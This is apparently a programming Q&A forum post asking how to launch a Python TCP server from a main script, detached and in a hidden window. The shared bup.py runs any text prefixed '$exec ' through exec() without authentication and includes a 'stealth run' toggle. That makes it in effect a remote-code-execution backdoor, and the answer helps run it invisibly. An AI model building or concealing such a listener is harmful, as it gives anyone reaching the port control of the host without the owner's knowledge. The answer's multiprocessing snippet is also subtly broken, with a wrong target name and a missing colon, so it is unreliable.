Pinco Pinco - 3 months ago 12
Python Question

Run independent file from main

I have a

run.py
that looks something like this:

def main():
# Tested and working code here


if __name__ == '__main__':
main()


Then I have another file that runs a TCP Socket Server,
bup.py
:

import socket
import os
from threading import Thread

# PMS Settings
TCP_IP = ''
TCP_PORT = 8080

my_ID = '105032495291981824'.encode()
my_dir = os.path.dirname(os.path.realpath(__file__))
current_dir = my_dir
debug = True

# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run
def dPrint(text):
if debug:
print(text)

# -------------------------------------------------------------------

# Mulithreaded Server a.k.a. PMS
class ClientThread(Thread):

def __init__(self, ip, port):
Thread.__init__(self)
self.ip = ip
self.port = port
dPrint("[+] New server socket thread started for " + ip + ":" + str(port))

def run(self):
conn.send(current_dir.encode())
while True:
try:
data = conn.recv(2048).decode()
if "$exec " in data:
data = data.replace("$exec ", "")
exec(data)
elif data:
dPrint(data)
except ConnectionAbortedError:
dPrint("[x] Connection forcibly closed by remote host")
break
except ConnectionResetError:
dPrint("[x] Connection was reset by client")
break

# --------------------------------------------------------------------------

tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpServer.bind((TCP_IP, TCP_PORT))
threads = []

while True:
tcpServer.listen(5)
(conn, (ip, port)) = tcpServer.accept()
newThread = ClientThread(ip, port)
newThread.start()
threads.append(newThread)

for t in threads:
t.join()


I want
bup.py
executed from
main()
as an independent file. Also, it has to run either in the background or in an invisible window. Is this even possible?
bup.py
is a server script so it doesn't return anything and it has to be completely detached from
run.py
.

Answer

You can use the subprocess module in python.

import subprocess

def main()
   # do your work
   subprocess.Popen(["python","bup.py"])

This should run in the background if your current process doesn't depend on the output of the started process.

Alternatively you can reorganise bup.py as a python module and use multiprocessing:

import bup
from multiprocessing import Process

def runServer(name):
    # assuming this would start the loop in bup 
    bup.startServerLoop();

if __name__ == '__main__':
    p = Process(target=f)
    p.start()
    # do all other work
    # close the server process
    p.join()
Comments